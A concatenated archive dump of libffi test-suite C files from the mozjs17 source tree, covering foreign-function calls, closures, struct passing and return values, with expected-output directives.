cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; struct A e_dbl = { 1, 7}; struct B f_dbl = {{12 , 127}, 99}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_ulong; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B))(code))(e_dbl, f_dbl); /* { dg-output "\n1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_float.c0000664000175000017500000000204612106270662025057 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value float. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_float_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(float *)resp = *(float *)args[0]; printf("%g: %g\n",*(float *)args[0], *(float *)resp); } typedef float (*cls_ret_float)(float); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; float res; cl_arg_types[0] = &ffi_type_float; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_float, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_float_fn, NULL, code) == FFI_OK); res = ((((cls_ret_float)code)(-2122.12))); /* { dg-output "\\-2122.12: \\-2122.12" } */ printf("res: %.6f\n", res); /* { dg-output "\nres: \-2122.120117" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_dbl.c0000664000175000017500000000132712106270662025252 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value double. Limitations: none. PR: none. Originator: 20050212 */ /* { dg-do run } */ #include "ffitest.h" static double return_dbl(double dbl) { return 2 * dbl; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; double dbl, rdbl; args[0] = &ffi_type_double; values[0] = &dbl; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_double, args) == FFI_OK); for (dbl = -127.3; dbl < 127; dbl++) { ffi_call(&cif, FFI_FN(return_dbl), &rdbl, values); printf ("%f vs %f\n", rdbl, return_dbl(dbl)); CHECK(rdbl == 2 * dbl); } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct5.c0000664000175000017500000000534112106270662026065 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: none. Originator: 20051010 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { long double a; unsigned char b; } A; typedef struct B { struct A x; unsigned char y; } B; static B B_fn(struct A b2, struct B b3) { struct B result; result.x.a = b2.a + b3.x.a; result.x.b = b2.b + b3.x.b + b3.y; result.y = b2.b + b3.x.b; printf("%d %d %d %d %d: %d %d %d\n", (int)b2.a, b2.b, (int)b3.x.a, b3.x.b, b3.y, (int)result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); *(B*)resp = B_fn(b0, b1); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[3]; ffi_type cls_struct_type, cls_struct_type1; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; struct A e_dbl = { 1.0, 7}; struct B f_dbl = {{12.0 , 127}, 99}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_longdouble; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B))(code))(e_dbl, f_dbl); /* { dg-output "\n1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_2byte.c0000664000175000017500000000460012106270662024775 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Especially with small structures which may fit in one register. Depending on the ABI. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_2byte { unsigned char a; unsigned char b; } cls_struct_2byte; cls_struct_2byte cls_struct_2byte_fn(struct cls_struct_2byte a1, struct cls_struct_2byte a2) { struct cls_struct_2byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; printf("%d %d %d %d: %d %d\n", a1.a, a1.b, a2.a, a2.b, result.a, result.b); return result; } static void cls_struct_2byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_2byte a1, a2; a1 = *(struct cls_struct_2byte*)(args[0]); a2 = *(struct cls_struct_2byte*)(args[1]); *(cls_struct_2byte*)resp = cls_struct_2byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_2byte g_dbl = { 12, 127 }; struct cls_struct_2byte f_dbl = { 1, 13 }; struct cls_struct_2byte res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_2byte_fn), &res_dbl, args_dbl); /* { dg-output "12 127 1 13: 13 140" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 13 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_2byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_2byte(*)(cls_struct_2byte, cls_struct_2byte))(code))(g_dbl, f_dbl); /* { dg-output "\n12 127 1 13: 13 140" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 13 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_longdouble_split2.c0000664000175000017500000000640712106270662030560 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of long double. Limitations: none. PR: none. Originator: Blake Chaffin 6/18/2007 */ /* { dg-excess-errors "no long double format" { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ /* { dg-do run { xfail strongarm*-*-* } } */ /* { dg-options -mlong-double-128 { target powerpc64*-*-* } } */ /* { dg-output "" { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ #include "ffitest.h" typedef struct cls_struct_align { long double a; long double b; long double c; long double d; long double e; double f; long double g; } cls_struct_align; cls_struct_align cls_struct_align_fn( cls_struct_align a1, cls_struct_align a2) { struct cls_struct_align r; r.a = a1.a + a2.a; r.b = a1.b + a2.b; r.c = a1.c + a2.c; r.d = a1.d + a2.d; r.e = a1.e + a2.e; r.f = a1.f + a2.f; r.g = a1.g + a2.g; printf("%Lg %Lg %Lg %Lg %Lg %g %Lg %Lg %Lg %Lg %Lg %Lg %g %Lg: " "%Lg %Lg %Lg %Lg %Lg %g %Lg\n", a1.a, a1.b, a1.c, a1.d, a1.e, a1.f, a1.g, a2.a, a2.b, a2.c, a2.d, a2.e, a2.f, a2.g, r.a, r.b, r.c, r.d, r.e, r.f, r.g); return r; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[8]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 1, 2, 3, 4, 5, 6, 7 }; struct cls_struct_align f_dbl = { 8, 9, 10, 11, 12, 13, 14 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_longdouble; cls_struct_fields[1] = &ffi_type_longdouble; cls_struct_fields[2] = &ffi_type_longdouble; cls_struct_fields[3] = &ffi_type_longdouble; cls_struct_fields[4] = &ffi_type_longdouble; cls_struct_fields[5] = &ffi_type_double; cls_struct_fields[6] = &ffi_type_longdouble; cls_struct_fields[7] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "1 2 3 4 5 6 7 8 9 10 11 12 13 14: 9 11 13 15 17 19 21" } */ printf("res: %Lg %Lg %Lg %Lg %Lg %g %Lg\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g); /* { dg-output "\nres: 9 11 13 15 17 19 21" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n1 2 3 4 5 6 7 8 9 10 11 12 13 14: 9 11 13 15 17 19 21" } */ printf("res: %Lg %Lg %Lg %Lg %Lg %g %Lg\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g); /* { dg-output "\nres: 9 11 13 15 17 19 21" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/stret_medium.c0000664000175000017500000000733512106270662025620 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure returning with different structure size. Depending on the ABI. Check bigger struct which overlaps the gp and fp register count on Darwin/AIX/ppc64. Limitations: none. PR: none. Originator: Blake Chaffin 6/21/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ #include "ffitest.h" typedef struct struct_72byte { double a; double b; double c; double d; double e; double f; double g; double h; double i; } struct_72byte; struct_72byte cls_struct_72byte_fn( struct_72byte b0, struct_72byte b1, struct_72byte b2, struct_72byte b3) { struct_72byte result; result.a = b0.a + b1.a + b2.a + b3.a; result.b = b0.b + b1.b + b2.b + b3.b; result.c = b0.c + b1.c + b2.c + b3.c; result.d = b0.d + b1.d + b2.d + b3.d; result.e = b0.e + b1.e + b2.e + b3.e; result.f = b0.f + b1.f + b2.f + b3.f; result.g = b0.g + b1.g + b2.g + b3.g; result.h = b0.h + b1.h + b2.h + b3.h; result.i = b0.i + b1.i + b2.i + b3.i; printf("%g %g %g %g %g %g %g %g %g\n", result.a, result.b, result.c, result.d, result.e, result.f, result.g, result.h, result.i); return result; } static void cls_struct_72byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct_72byte b0, b1, b2, b3; b0 = *(struct_72byte*)(args[0]); b1 = *(struct_72byte*)(args[1]); b2 = *(struct_72byte*)(args[2]); b3 = *(struct_72byte*)(args[3]); *(struct_72byte*)resp = cls_struct_72byte_fn(b0, b1, b2, b3); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[10]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct_72byte e_dbl = { 9.0, 2.0, 6.0, 5.0, 3.0, 4.0, 8.0, 1.0, 7.0 }; struct_72byte f_dbl = { 1.0, 2.0, 3.0, 7.0, 2.0, 5.0, 6.0, 7.0, 4.0 }; struct_72byte g_dbl = { 4.0, 5.0, 7.0, 9.0, 1.0, 1.0, 2.0, 9.0, 3.0 }; struct_72byte h_dbl = { 8.0, 6.0, 1.0, 4.0, 0.0, 3.0, 3.0, 1.0, 2.0 }; struct_72byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_double; cls_struct_fields[3] = &ffi_type_double; cls_struct_fields[4] = &ffi_type_double; cls_struct_fields[5] = &ffi_type_double; cls_struct_fields[6] = &ffi_type_double; cls_struct_fields[7] = &ffi_type_double; cls_struct_fields[8] = &ffi_type_double; cls_struct_fields[9] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = &cls_struct_type; dbl_arg_types[3] = &cls_struct_type; dbl_arg_types[4] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = &h_dbl; args_dbl[4] = NULL; ffi_call(&cif, FFI_FN(cls_struct_72byte_fn), &res_dbl, args_dbl); /* { dg-output "22 15 17 25 6 13 19 18 16" } */ printf("res: %g %g %g %g %g %g %g %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 16" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_72byte_gn, NULL, code) == FFI_OK); res_dbl = ((struct_72byte(*)(struct_72byte, struct_72byte, struct_72byte, struct_72byte))(code))(e_dbl, f_dbl, g_dbl, h_dbl); /* { dg-output "\n22 15 17 25 6 13 19 18 16" } */ printf("res: %g %g %g %g %g %g %g %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 16" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_sint32.c0000664000175000017500000000472612106270662026255 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of sint32. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; signed int b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %d %d %d %d %d: %d %d %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_sint; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_dbl1.c0000664000175000017500000000175412106270662025337 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value double. Limitations: none. PR: none. Originator: 20050212 */ /* { dg-do run } */ #include "ffitest.h" static double return_dbl(double dbl1, float fl2, unsigned int in3, double dbl4) { return dbl1 + fl2 + in3 + dbl4; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; double dbl1, dbl4, rdbl; float fl2; unsigned int in3; args[0] = &ffi_type_double; args[1] = &ffi_type_float; args[2] = &ffi_type_uint; args[3] = &ffi_type_double; values[0] = &dbl1; values[1] = &fl2; values[2] = &in3; values[3] = &dbl4; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_double, args) == FFI_OK); dbl1 = 127.0; fl2 = 128.0; in3 = 255; dbl4 = 512.7; ffi_call(&cif, FFI_FN(return_dbl), &rdbl, values); printf ("%f vs %f\n", rdbl, return_dbl(dbl1, fl2, in3, dbl4)); CHECK(rdbl == dbl1 + fl2 + in3 + dbl4); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_ul.c0000664000175000017500000000153012106270662025125 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check if unsigned long as return type is handled correctly. Limitations: none. PR: none. Originator: 20060724 */ /* { dg-do run } */ #include "ffitest.h" static unsigned long return_ul(unsigned long ul1, unsigned long ul2) { return ul1 + ul2; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg res; unsigned long ul1, ul2; args[0] = &ffi_type_ulong; args[1] = &ffi_type_ulong; values[0] = &ul1; values[1] = &ul2; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_ulong, args) == FFI_OK); ul1 = 1073741823L; ul2 = 1073741824L; ffi_call(&cif, FFI_FN(return_ul), &res, values); printf("res: %lu, %lu\n", (unsigned long)res, ul1 + ul2); /* { dg-output "res: 2147483647, 2147483647" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_pointer.c0000664000175000017500000000357212106270662025437 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check pointer arguments. Limitations: none. PR: none. Originator: Blake Chaffin 6/6/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ #include "ffitest.h" void* cls_pointer_fn(void* a1, void* a2) { void* result = (void*)((intptr_t)a1 + (intptr_t)a2); printf("0x%08x 0x%08x: 0x%08x\n", (unsigned int)(uintptr_t) a1, (unsigned int)(uintptr_t) a2, (unsigned int)(uintptr_t) result); return result; } static void cls_pointer_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { void* a1 = *(void**)(args[0]); void* a2 = *(void**)(args[1]); *(void**)resp = cls_pointer_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure* pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args[3]; // ffi_type cls_pointer_type; ffi_type* arg_types[3]; /* cls_pointer_type.size = sizeof(void*); cls_pointer_type.alignment = 0; cls_pointer_type.type = FFI_TYPE_POINTER; cls_pointer_type.elements = NULL;*/ void* arg1 = (void*)0x12345678; void* arg2 = (void*)0x89abcdef; ffi_arg res = 0; arg_types[0] = &ffi_type_pointer; arg_types[1] = &ffi_type_pointer; arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_pointer, arg_types) == FFI_OK); args[0] = &arg1; args[1] = &arg2; args[2] = NULL; ffi_call(&cif, FFI_FN(cls_pointer_fn), &res, args); /* { dg-output "0x12345678 0x89abcdef: 0x9be02467" } */ printf("res: 0x%08x\n", (unsigned int) res); /* { dg-output "\nres: 0x9be02467" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_pointer_gn, NULL, code) == FFI_OK); res = (ffi_arg)((void*(*)(void*, void*))(code))(arg1, arg2); /* { dg-output "\n0x12345678 0x89abcdef: 0x9be02467" } */ printf("res: 0x%08x\n", (unsigned int) res); /* { dg-output "\nres: 0x9be02467" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_7byte.c0000664000175000017500000000532012106270662025002 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_7byte { unsigned short a; unsigned short b; unsigned char c; unsigned short d; } cls_struct_7byte; cls_struct_7byte cls_struct_7byte_fn(struct cls_struct_7byte a1, struct cls_struct_7byte a2) { struct cls_struct_7byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; printf("%d %d %d %d %d %d %d %d: %d %d %d %d\n", a1.a, a1.b, a1.c, a1.d, a2.a, a2.b, a2.c, a2.d, result.a, result.b, result.c, result.d); return result; } static void cls_struct_7byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_7byte a1, a2; a1 = *(struct cls_struct_7byte*)(args[0]); a2 = *(struct cls_struct_7byte*)(args[1]); *(cls_struct_7byte*)resp = cls_struct_7byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[5]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_7byte g_dbl = { 127, 120, 1, 254 }; struct cls_struct_7byte f_dbl = { 12, 128, 9, 255 }; struct cls_struct_7byte res_dbl; cls_struct_fields[0] = &ffi_type_ushort; cls_struct_fields[1] = &ffi_type_ushort; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_ushort; cls_struct_fields[4] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_7byte_fn), &res_dbl, args_dbl); /* { dg-output "127 120 1 254 12 128 9 255: 139 248 10 509" } */ printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 139 248 10 509" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_7byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_7byte(*)(cls_struct_7byte, cls_struct_7byte))(code))(g_dbl, f_dbl); /* { dg-output "\n127 120 1 254 12 128 9 255: 139 248 10 509" } */ printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 139 248 10 509" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/many_win32.c0000664000175000017500000000242212106270662025075 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check stdcall many call on X86_WIN32 systems. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run { target i?86-*-cygwin* i?86-*-mingw* } } */ #include "ffitest.h" #include static float __attribute__((stdcall)) stdcall_many(float f1, float f2, float f3, float f4, float f5, float f6, float f7, float f8, float f9, float f10, float f11, float f12, float f13) { return ((f1/f2+f3/f4+f5/f6+f7/f8+f9/f10+f11/f12) * f13); } int main (void) { ffi_cif cif; ffi_type *args[13]; void *values[13]; float fa[13]; float f, ff; unsigned long ul; for (ul = 0; ul < 13; ul++) { args[ul] = &ffi_type_float; values[ul] = &fa[ul]; fa[ul] = (float) ul; } /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_STDCALL, 13, &ffi_type_float, args) == FFI_OK); ff = stdcall_many(fa[0], fa[1], fa[2], fa[3], fa[4], fa[5], fa[6], fa[7], fa[8], fa[9], fa[10], fa[11], fa[12]); ffi_call(&cif, FFI_FN(stdcall_many), &f, values); if (f - ff < FLT_EPSILON) printf("stdcall many arg tests ok!\n"); else CHECK(0); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_sc.c0000664000175000017500000000132312106270662025112 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value signed char. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" static signed char return_sc(signed char sc) { return sc; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; signed char sc; args[0] = &ffi_type_schar; values[0] = ≻ /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_schar, args) == FFI_OK); for (sc = (signed char) -127; sc < (signed char) 127; sc++) { ffi_call(&cif, FFI_FN(return_sc), &rint, values); CHECK(rint == (ffi_arg) sc); } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/strlen.c0000664000175000017500000000151412106270662024417 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check strlen function call. Limitations: none. PR: none. Originator: From the original ffitest.c */ 